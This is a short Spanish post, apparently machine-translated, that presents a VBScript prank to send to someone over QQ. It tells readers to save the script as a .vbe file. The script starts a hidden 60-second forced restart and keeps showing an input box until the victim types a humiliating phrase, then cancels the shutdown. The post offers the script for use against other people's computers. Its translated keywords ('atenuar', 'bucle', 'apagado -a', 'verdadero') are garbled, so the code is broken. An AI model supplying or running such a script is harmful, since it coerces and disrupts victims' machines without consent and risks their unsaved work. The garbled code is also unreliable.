¡Buscamos un software falso! Le envié un mensaje a alguien en QQ y cuando lo abrí, toda la pantalla estaba llena de cosas aterradoras y parecía que no podía apagarlo.

El código es el siguiente (cópielo completo)

en caso de error, reanudar siguiente

dim WSHshellA

set WSHshellA = wscript.createobject (" wscript.shell")

WSHshellA.run "cmd.exe /c Shutdown -r -t 60 -c ""Si dices que soy un cerdo, si no dices que soy un cerdo, apagaré tu computadora en un minuto. Si no lo crees, intenta..."" ",0 ,true

atenuar a

do while( a <> "Soy un cerdo")

a = inputbox ("Si dices que soy un cerdo, no apagues el teléfono, date prisa y di ""Soy un cerdo" "" ","No decir","No decir",8000,7000)

msgbox chr(13 ) + chr(13) + chr(13) + a,0," MsgBox"

bucle

msgbox chr(13) + chr(13) + chr(13) + "Solo dímelo antes"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c apagado -a",0, verdadero

msgbox chr(13) + chr(13) + chr(13) + "Jajajaja, qué divertido"

Pon lo anterior Copia el texto en el bloc de notas. Guarda como nombre de lo que quieras, recuerda agregar .vbe